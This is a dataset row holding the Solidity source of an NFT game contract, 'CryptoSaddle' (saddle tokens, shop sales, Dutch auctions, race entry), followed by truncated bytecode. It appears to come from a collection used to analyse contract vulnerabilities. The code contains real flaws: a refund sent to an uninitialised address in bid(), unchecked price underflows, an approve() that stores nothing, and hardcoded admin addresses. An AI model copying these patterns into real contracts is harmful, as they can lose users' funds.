address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xc43cd80936e12d5b6e6d9fe9c90f4a9549e76047
|
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
}
contract SaddleControl {
address public ceoAddress=0xC87959bbafD5cDCbC5E29C92E3161f59f51d5794;
address public ctoAddress=0x6c2324c462184058C6ce28339C39FF04b9d9bEf1;
modifier onCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onCTO() {
require(msg.sender == ctoAddress);
_;
}
modifier onlyC() {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress
);
_;
}
address public raceDistCon;
address public addr_Saddlery;
function newSaddleryCon (address newConAddr) external onCTO {
addr_Saddlery = newConAddr;
}
function newRaceDistCon (address newConAddr) external onCTO {
raceDistCon = newConAddr;
}
}
contract SaddleShopOwner is SaddleControl, ERC721 {
mapping (uint256 => address) public SaddleShopO;
mapping (uint256 => uint256) public SaddleShopPrice;
mapping (uint256 => bool) public SaddleShopForSale;
mapping (uint256 => bool) public SaddleShopForBiding;
mapping (address => uint256) SaddleShopOwnCount;
uint256 public SaddleShopSaleFee = 20;
mapping (uint256 => uint256) startBlock;
mapping (uint256 => uint256) startPrice;
mapping (uint256 => uint256) public shopPriceDecreaseRate;
function getCurrentItemPrice(uint256 _id) public view returns (uint256) {
uint256 currentPrice =startPrice[_id] - shopPriceDecreaseRate[_id]*(block.number - startBlock[_id]);
if(currentPrice <=0 ){
return 0;
}else if(currentPrice>startPrice[_id]){
return 0;
}else{
return currentPrice;
}
}
function newPriceDecreaseRate(uint DecreRate,uint256 _id) external onlyC {
shopPriceDecreaseRate[_id]=DecreRate;
}
function changeSaddleShopPrice(uint256 price, uint256 SadShopId) external{
require(msg.sender==SaddleShopO[SadShopId]);
require(SaddleShopForSale[SadShopId]==true);
require(price!=0);
SaddleShopPrice[SadShopId]=price;
}
function buySaddleShop(uint256 id) payable external{
require(SaddleShopForSale[id]==true);
uint256 price = SaddleShopPrice[id];
require(price<=msg.value);
uint256 Fee = price / SaddleShopSaleFee ;
uint256 oPrice= price - Fee;
address _to = msg.sender;
address _from = SaddleShopO[id];
SaddleShopOwnCount[_to]++;
SaddleShopO[id] = _to;
SaddleShopForSale[id]=false;
SaddleShopOwnCount[_from]--;
emit Transfer(_from, _to, id);
ceoAddress.transfer(Fee);
if(_from!=0){
_from.transfer(oPrice);
}else{
ceoAddress.transfer(oPrice);
}
uint256 buyExcess = msg.value - oPrice - Fee;
_to.transfer(buyExcess);
}
function firstSellSaddleShop(uint256 _id, uint256 price, uint256 _decreRate) external onlyC {
require(SaddleShopO[_id]==0);
SaddleShopPrice[_id]=price;
SaddleShopForBiding[_id]=true;
startBlock[_id] = block.number;
startPrice[_id] = price;
shopPriceDecreaseRate[_id]= _decreRate;
}
function bid(uint256 _id) payable external{
uint256 priceNow = getCurrentItemPrice(_id);
require(msg.value>=priceNow);
require(SaddleShopForBiding[_id]==true);
if(priceNow<=0||priceNow>=startPrice[_id]){
SaddleShopForBiding[_id]=false;
_to.transfer( msg.value);
//besser regeln!!
}else{
SaddleShopForBiding[_id]=false;
address _to = msg.sender;
address _from = SaddleShopO[_id];
SaddleShopOwnCount[_to]++;
SaddleShopO[_id] = _to;
SaddleShopForSale[_id]=true;
uint256 priceAufschlag=msg.value/3;
SaddleShopPrice[_id]=msg.value+ priceAufschlag;
emit Transfer(_from, _to, _id);
ceoAddress.transfer(priceNow);
uint256 buyExcess = msg.value - priceNow;
_to.transfer(buyExcess);
}
}
function setSaddleShopSaleFee(uint256 val) external onCTO {
SaddleShopSaleFee = val;
}
}
contract SaddleBasis is SaddleShopOwner {
event Birth(address owner, uint256 SaddleId);
event Transfer(address from, address to, uint256 tokenId);
struct SaddleAttr {
uint256 dna1;
uint256 dna2;
uint256 dna3;
bool dna4;
}
SaddleAttr[] Saddles;
mapping (uint256 => address) SaddleOwnerIndex;
mapping (uint256 => uint256) public saddleIndexPrice;
mapping (uint256 => uint256) public saddleQuality;
mapping (uint256 => bool) SaddleIndexForSale;
mapping (address => uint256) tokenOwnershipCount;
mapping (uint256 => bool) raceListed;
mapping (uint256 => bool) public DutchAListed;
mapping (uint256 => uint256) startDutchABlock;
mapping (uint256 => uint256) startDutchAPrice;
mapping (uint256 => uint256) public DutchADecreaseRate;
uint256 public saleFee = 20;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
tokenOwnershipCount[_to]++;
SaddleOwnerIndex[_tokenId] = _to;
if (_from != address(0)) {
tokenOwnershipCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
}
function transfer10( address _to, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3, uint256 _tokenId4, uint256 _tokenId5, uint256 _tokenId6, uint256 _tokenId7, uint256 _tokenId8, uint256 _tokenId9, uint256 _tokenId10 ) external onlyC {
require(_to != address(0));
require(_to != address(this));
require( SaddleOwnerIndex[_tokenId1] == msg.sender );
require( SaddleOwnerIndex[_tokenId2] == msg.sender );
require( SaddleOwnerIndex[_tokenId3] == msg.sender );
require( SaddleOwnerIndex[_tokenId4] == msg.sender );
require( SaddleOwnerIndex[_tokenId5] == msg.sender );
require( SaddleOwnerIndex[_tokenId6] == msg.sender );
require( SaddleOwnerIndex[_tokenId7] == msg.sender );
require( SaddleOwnerIndex[_tokenId8] == msg.sender );
require( SaddleOwnerIndex[_tokenId9] == msg.sender );
require( SaddleOwnerIndex[_tokenId10] == msg.sender );
_transfer(msg.sender, _to, _tokenId1);
_transfer(msg.sender, _to, _tokenId2);
_transfer(msg.sender, _to, _tokenId3);
_transfer(msg.sender, _to, _tokenId4);
_transfer(msg.sender, _to, _tokenId5);
_transfer(msg.sender, _to, _tokenId6);
_transfer(msg.sender, _to, _tokenId7);
_transfer(msg.sender, _to, _tokenId8);
_transfer(msg.sender, _to, _tokenId9);
_transfer(msg.sender, _to, _tokenId10);
}
function _sell(address _from, uint256 _tokenId, uint256 value) internal {
uint256 price;
if(DutchAListed[_tokenId]==true){
price = getCurrentSaddlePrice(_tokenId);
}else{
price = saddleIndexPrice[_tokenId];
}
if(price==0){
SaddleIndexForSale[_tokenId]=false;
}
if(SaddleIndexForSale[_tokenId]==true){
require(price<=value);
uint256 Fee = price / saleFee /2;
uint256 oPrice= price - Fee - Fee;
address _to = msg.sender;
tokenOwnershipCount[_to]++;
SaddleOwnerIndex[_tokenId] = _to;
SaddleIndexForSale[_tokenId]=false;
DutchAListed[_tokenId]=false;
if (_from != address(0)) {
tokenOwnershipCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
uint256 saddleQ = saddleQuality[_tokenId]/10;
address SaddleSOwner;
if(saddleQ>=0&&saddleQ<=2){
SaddleSOwner= SaddleShopO[5];
}else if(saddleQ>=2&&saddleQ<=4){
SaddleSOwner= SaddleShopO[4];
} else if(saddleQ>=4&&saddleQ<=6){
SaddleSOwner= SaddleShopO[3];
} else if(saddleQ>=6&&saddleQ<=8){
SaddleSOwner= SaddleShopO[2];
}else if(saddleQ>=8&&saddleQ<=10){
SaddleSOwner= SaddleShopO[1];
}else{
SaddleSOwner= ceoAddress;
}
_from.transfer(oPrice);
uint256 bidExcess = value - oPrice - Fee - Fee;
_to.transfer(bidExcess);
ceoAddress.transfer(Fee);
if(SaddleSOwner!=0){
SaddleSOwner.transfer(Fee);
}else {
ceoAddress.transfer(Fee);
}
}else{
_to.transfer(value);
}
}
function getCurrentSaddlePrice(uint256 _id) public view returns (uint256) {
uint256 currentPrice= startDutchAPrice[_id] - DutchADecreaseRate[_id]*(block.number - startDutchABlock[_id]);
if(currentPrice <=0 ){
return 0;
}else if(currentPrice>startDutchAPrice[_id]){
return 0;
}else{
return currentPrice;
}
}
function newDutchPriceRate(uint DecreRate,uint256 _id) external {
require(msg.sender==SaddleOwnerIndex[_id]);
require(DutchAListed[_id]==true);
DutchADecreaseRate[_id]=DecreRate;
}
function setForDutchSale(uint256 _id, uint256 price, uint256 _decreRate) external {
require(msg.sender==SaddleOwnerIndex[_id]);
require(raceListed[_id]==false);
SaddleShopPrice[_id]=price;
DutchAListed[_id]=true;
startDutchABlock[_id] = block.number;
startDutchAPrice[_id] = price;
DutchADecreaseRate[_id]= _decreRate;
SaddleIndexForSale[_id]=true;
}
function _newSaddle(
uint256 _genes1,
uint256 _genes2,
uint256 _genes3,
bool _genes4,
address _owner
)
internal
returns (uint)
{
SaddleAttr memory _saddle = SaddleAttr({
dna1:_genes1,
dna2: _genes2,
dna3 : _genes3,
dna4: _genes4
});
uint256 newSaddleId;
newSaddleId = Saddles.push(_saddle)-1;
require(newSaddleId == uint256(uint32(newSaddleId)));
saddleQuality[newSaddleId]= (_genes1 +_genes2 + _genes3)/3;
raceListed[newSaddleId]=false;
emit Birth(_owner, newSaddleId);
_transfer(0, _owner, newSaddleId);
return newSaddleId;
}
}
contract SaddleOwnership is SaddleBasis{
string public constant name = "CryptoSaddle";
string public constant symbol = "CSD";
uint8 public constant decimals = 0;
function SaddleForSale(uint256 _tokenId, uint256 price) external {
address ownerof = SaddleOwnerIndex[_tokenId];
require(ownerof == msg.sender);
require(raceListed[_tokenId]==false);
uint256 forDutch = getCurrentSaddlePrice(_tokenId);
require(forDutch==0||DutchAListed[_tokenId]==false);
saddleIndexPrice[_tokenId] = price;
SaddleIndexForSale[_tokenId]= true;
DutchAListed[_tokenId]=false;
}
function changePrice(uint256 _tokenId, uint256 price) external {
address ownerof = SaddleOwnerIndex[_tokenId];
require(ownerof == msg.sender);
require(SaddleIndexForSale[_tokenId] == true);
require(DutchAListed[_tokenId]==false);
saddleIndexPrice[_tokenId] = price;
}
function SaddleNotForSale(uint256 _tokenId) external {
address ownerof = SaddleOwnerIndex[_tokenId];
require(ownerof == msg.sender);
SaddleIndexForSale[_tokenId]= false;
DutchAListed[_tokenId]=false;
}
function _owns(address _applicant, uint256 _tokenId) internal view returns (bool) {
return SaddleOwnerIndex[_tokenId] == _applicant;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return tokenOwnershipCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
payable
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
{
require(_owns(msg.sender, _tokenId));
emit Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId ) external payable {
if(_from != msg.sender){
require(_to == msg.sender);
require(raceListed[_tokenId]==false);
require(_from==SaddleOwnerIndex[_tokenId]);
_sell(_from, _tokenId, msg.value);
}else{
_to.transfer(msg.value);
}
}
function totalSupply() public view returns (uint) {
return Saddles.length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = SaddleOwnerIndex[_tokenId];
return;
}
function ownerOfID(uint256 _tokenId) external view returns (address owner, uint256 tokenId) {
owner = SaddleOwnerIndex[_tokenId];
tokenId=_tokenId;
return;
}
function SaddleFS(uint256 _tokenId) external view returns (bool buyable, uint256 tokenId) {
bool forDutchSale=DutchAListed[_tokenId];
uint256 price;
if( forDutchSale==true){
price = getCurrentSaddlePrice(_tokenId);
}else{
price = saddleIndexPrice[_tokenId];
}
if(price==0){
buyable=false;
}else{
buyable = SaddleIndexForSale[_tokenId];
}
tokenId=_tokenId;
return;
}
function SaddlePr(uint256 _tokenId) external view returns (uint256 price, uint256 tokenId) {
price = saddleIndexPrice[_tokenId];
tokenId=_tokenId;
return;
}
function setSaleFee(uint256 val) external onCTO {
saleFee = val;
}
function raceOut(uint256 _tokenIdA) external {
require(msg.sender==raceDistCon);
SaddleAttr storage saddleA = Saddles[_tokenIdA];
saddleA.dna4=true;
raceListed[_tokenIdA]=false;
}
function raceRegistration(uint256 _tokenIdA, address owner) external {
require(msg.sender==raceDistCon);
require(SaddleOwnerIndex[_tokenIdA]==owner);
SaddleAttr storage saddleA = Saddles[_tokenIdA];
require(saddleA.dna4==true);
require( raceListed[_tokenIdA]==false);
bool forDutchSale=DutchAListed[_tokenIdA];
uint256 price;
if( forDutchSale==true){
price = getCurrentSaddlePrice(_tokenIdA);
}else{
price = saddleIndexPrice[_tokenIdA];
}
bool buyable;
if(price==0){
buyable=false;
}else{
buyable = SaddleIndexForSale[_tokenIdA];
}
require(buyable==false);
saddleA.dna4=false;
raceListed[_tokenIdA]=true;
}
}
contract SaddleMinting is SaddleOwnership {
uint256 public Saddle_Limit = 20000;
function createSaddle1( uint256 _genes1, uint256 _genes2,uint256 _genes3, address _owner) external onlyC {
address SaddleOwner = _owner;
require(Saddles.length+1 < Saddle_Limit);
_newSaddle(_genes1, _genes2, _genes3,true, SaddleOwner);
}
function createSaddle6(
uint256 _genes1,
uint256 _genes2,
uint256 _genes3,
uint256 _genes1a,
uint256 _genes2a,
uint256 _genes3a,
uint256 _genes1b,
uint256 _genes2b,
uint256 _genes3b,
address _owner
) external onlyC {
address SaddleOwner = _owner;
require(Saddles.length+6 < Saddle_Limit);
_newSaddle(_genes1, _genes2, _genes3,true, SaddleOwner);
_newSaddle(_genes1a, _genes2a, _genes3a,true, SaddleOwner);
_newSaddle(_genes1b, _genes2b, _genes3b,true, SaddleOwner);
_newSaddle(_genes1, _genes2, _genes3,true, SaddleOwner);
_newSaddle(_genes1a, _genes2a, _genes3a,true, SaddleOwner);
_newSaddle(_genes1b, _genes2b, _genes3b,true, SaddleOwner);
}
function _generateNewSaddle(uint256 saddleM_quality ,uint256 maschine_quality, uint256 leader_qual, address _owner) external {
require(msg.sender==addr_Saddlery);
_newSaddle(leader_qual, saddleM_quality, maschine_quality,true, _owner);
}
}
contract GetTheSaddle is SaddleMinting {
function getSaddle(uint256 _id)
external
view
returns (
uint256 price,
uint256 id,
bool forSale,
bool forDutchSale,
uint256 _genes1,
uint256 _genes2,
uint256 _genes3,
bool _genes4
) {
id = uint256(_id);
forDutchSale=DutchAListed[_id];
if( forDutchSale==true){
price = getCurrentSaddlePrice(_id);
}else{
price = saddleIndexPrice[_id];
}
if(price==0){
forSale=false;
forDutchSale=false;
}else{
forSale = SaddleIndexForSale[_id];
}
SaddleAttr storage saddle = Saddles[_id];
_genes1 = saddle.dna1;
_genes2 = saddle.dna2;
_genes3 = saddle.dna3;
_genes4 = saddle.dna4;
}
}
|
0x608060405260043610610267576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302421ca71461026c57806303906217146102b857806306fdde03146102e5578063095ea7b3146103755780630a0f8168146103c25780630b7efa0d14610419578063109ef2761461045a5780631104e09e14610491578063162bbc45146104bc578063178021e31461052957806318160ddd1461055457806319b61c091461057f5780631d9f3cb5146105e05780631f5136601461061757806323b872dd1461066e5780633039cf46146106ce578063313ce5671461070f57806334409e3814610740578063454a2ab3146107a157806360ef6037146107c15780636352211e146107e15780636abc99931461084e5780636c97c237146108935780636d9c8e86146108d45780636e2f0bb81461091557806370a0823114610958578063728d3dd2146109af57806385bde3f2146109f257806395d89b4114610a3a5780639a132a3014610aca5780639b97380314610b0b5780639c1817e414610bb2578063a802257d14610bdd578063a9059cbb14610c34578063af35ae3e14610c74578063aff9f40d14610ca1578063b3de019c14610cd8578063b716f40414610d0f578063b8dfcc7e14610d3c578063bdcafc5514610d7d578063cc80f9e814610daa578063cdee5c4a14610e1e578063d322014414610e6b578063dcf8f13a14610ea2578063e1a0534414610ee3578063eb80b3d114610f80578063f4d2c73f14610fd7578063f57e1cc114611018578063f7bfe8c31461105d578063f8339005146110a2578063f9c6046a14611120575b600080fd5b34801561027857600080fd5b5061029760048036038101908080359060200190929190505050611161565b60405180831515151581526020018281526020019250505060405180910390f35b3480156102c457600080fd5b506102e3600480360381019080803590602001909291905050506111fe565b005b3480156102f157600080fd5b506102fa6112cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033a57808201518184015260208101905061031f565b50505050905090810190601f1680156103675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038157600080fd5b506103c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611305565b005b3480156103ce57600080fd5b506103d76113bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042557600080fd5b50610444600480360381019080803590602001909291905050506113e2565b6040518082815260200191505060405180910390f35b34801561046657600080fd5b5061048f60048036038101908080359060200190929190803590602001909291905050506113fa565b005b34801561049d57600080fd5b506104a66114b6565b6040518082815260200191505060405180910390f35b3480156104c857600080fd5b506104e7600480360381019080803590602001909291905050506114bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053557600080fd5b5061053e6114ef565b6040518082815260200191505060405180910390f35b34801561056057600080fd5b506105696114f5565b6040518082815260200191505060405180910390f35b34801561058b57600080fd5b506105de600480360381019080803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611502565b005b3480156105ec57600080fd5b5061061560048036038101908080359060200190929190803590602001909291905050506115e8565b005b34801561062357600080fd5b5061062c6116b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116da565b005b3480156106da57600080fd5b506106f960048036038101908080359060200190929190505050611846565b6040518082815260200191505060405180910390f35b34801561071b57600080fd5b5061072461185e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561074c57600080fd5b5061079f600480360381019080803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611863565b005b6107bf600480360381019080803590602001909291905050506118d4565b005b6107df60048036038101908080359060200190929190505050611c80565b005b3480156107ed57600080fd5b5061080c6004803603810190808035906020019092919050505061207f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085a57600080fd5b50610879600480360381019080803590602001909291905050506120bc565b604051808215151515815260200191505060405180910390f35b34801561089f57600080fd5b506108d26004803603810190808035906020019092919080359060200190929190803590602001909291905050506120dc565b005b3480156108e057600080fd5b506108ff60048036038101908080359060200190929190505050612278565b6040518082815260200191505060405180910390f35b34801561092157600080fd5b50610956600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122fe565b005b34801561096457600080fd5b50610999600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061239e565b6040518082815260200191505060405180910390f35b3480156109bb57600080fd5b506109f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123e7565b005b3480156109fe57600080fd5b50610a1d60048036038101908080359060200190929190505050612487565b604051808381526020018281526020019250505060405180910390f35b348015610a4657600080fd5b50610a4f6124a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a8f578082015181840152602081019050610a74565b50505050905090810190601f168015610abc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ad657600080fd5b50610af5600480360381019080803590602001909291905050506124e1565b6040518082815260200191505060405180910390f35b348015610b1757600080fd5b50610bb0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506124f9565b005b348015610bbe57600080fd5b50610bc7612ae0565b6040518082815260200191505060405180910390f35b348015610be957600080fd5b50610bf2612ae6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c72600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b0c565b005b348015610c8057600080fd5b50610c9f60048036038101908080359060200190929190505050612ba7565b005b348015610cad57600080fd5b50610cd66004803603810190808035906020019092919080359060200190929190505050612c0d565b005b348015610ce457600080fd5b50610d0d6004803603810190808035906020019092919080359060200190929190505050612d72565b005b348015610d1b57600080fd5b50610d3a60048036038101908080359060200190929190505050612e67565b005b348015610d4857600080fd5b50610d6760048036038101908080359060200190929190505050612f31565b6040518082815260200191505060405180910390f35b348015610d8957600080fd5b50610da860048036038101908080359060200190929190505050612f49565b005b348015610db657600080fd5b50610dd560048036038101908080359060200190929190505050612faf565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b348015610e2a57600080fd5b50610e6960048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ff0565b005b348015610e7757600080fd5b50610ea06004803603810190808035906020019092919080359060200190929190505050613226565b005b348015610eae57600080fd5b50610ecd600480360381019080803590602001909291905050506132f5565b6040518082815260200191505060405180910390f35b348015610eef57600080fd5b50610f7e600480360381019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061337b565b005b348015610f8c57600080fd5b50610f956134b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610fe357600080fd5b50611002600480360381019080803590602001909291905050506134d8565b6040518082815260200191505060405180910390f35b34801561102457600080fd5b50611043600480360381019080803590602001909291905050506134f0565b604051808215151515815260200191505060405180910390f35b34801561106957600080fd5b5061108860048036038101908080359060200190929190505050613510565b604051808215151515815260200191505060405180910390f35b3480156110ae57600080fd5b506110cd60048036038101908080359060200190929190505050613530565b604051808981526020018881526020018715151515815260200186151515158152602001858152602001848152602001838152602001821515151581526020019850505050505050505060405180910390f35b34801561112c57600080fd5b5061115f600480360381019080803590602001909291908035906020019092919080359060200190929190505050613626565b005b6000806000806014600086815260200190815260200160002060009054906101000a900460ff1691506001151582151514156111a7576111a085612278565b90506111be565b600f60008681526020019081526020016000205490505b60008114156111d057600093506111f4565b6011600086815260200190815260200160002060009054906101000a900460ff1693505b8492505050915091565b6000600e600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561127057600080fd5b60006011600084815260200190815260200160002060006101000a81548160ff02191690831515021790555060006014600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6040805190810160405280600c81526020017f43727970746f536164646c65000000000000000000000000000000000000000081525081565b61130f3382613783565b151561131a57600080fd5b7f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60176020528060005260406000206000915090505481565b600e600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146757600080fd5b600115156014600083815260200190815260200160002060009054906101000a900460ff16151514151561149a57600080fd5b8160176000838152602001908152602001600020819055505050565b60095481565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6000600d80549050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115ac5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115b757600080fd5b8190506019546001600d80549050011015156115d257600080fd5b6115e08585856001856137ef565b505050505050565b6004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165557600080fd5b600115156006600083815260200190815260200160002060009054906101000a900460ff16151514151561168857600080fd5b6000821415151561169857600080fd5b8160056000838152602001908152602001600020819055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117f9573373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151561174957600080fd5b600015156013600083815260200190815260200160002060009054906101000a900460ff16151514151561177c57600080fd5b600e600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117e957600080fd5b6117f4838234613981565b611841565b8173ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561183f573d6000803e3d6000fd5b505b505050565b60106020528060005260406000206000915090505481565b600081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118bf57600080fd5b6118cd8285856001856137ef565b5050505050565b60008060008060006118e5866132f5565b94508434101515156118f657600080fd5b600115156007600088815260200190815260200160002060009054906101000a900460ff16151514151561192957600080fd5b60008511158061194c5750600b6000878152602001908152602001600020548510155b156119c95760006007600088815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156119c3573d6000803e3d6000fd5b50611c78565b60006007600088815260200190815260200160002060006101000a81548160ff0219169083151502179055503393506004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550836004600088815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016006600088815260200190815260200160002060006101000a81548160ff021916908315150217905550600334811515611b0757fe5b04915081340160056000888152602001908152602001600020819055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838588604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015611c2a573d6000803e3d6000fd5b5084340390508373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c76573d6000803e3d6000fd5b505b505050505050565b600080600080600080600115156006600089815260200190815260200160002060009054906101000a900460ff161515141515611cbc57600080fd5b60056000888152602001908152602001600020549550348611151515611ce157600080fd5b60095486811515611cee57fe5b04945084860393503392506004600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550826004600089815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006006600089815260200190815260200160002060006101000a81548160ff021916908315150217905550600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef828489604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015611f52573d6000803e3d6000fd5b5060008273ffffffffffffffffffffffffffffffffffffffff16141515611fbf578173ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015611fb9573d6000803e3d6000fd5b50612028565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015612026573d6000803e3d6000fd5b505b848434030390508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612075573d6000803e3d6000fd5b5050505050505050565b6000600e600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60146020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121845750600160009054906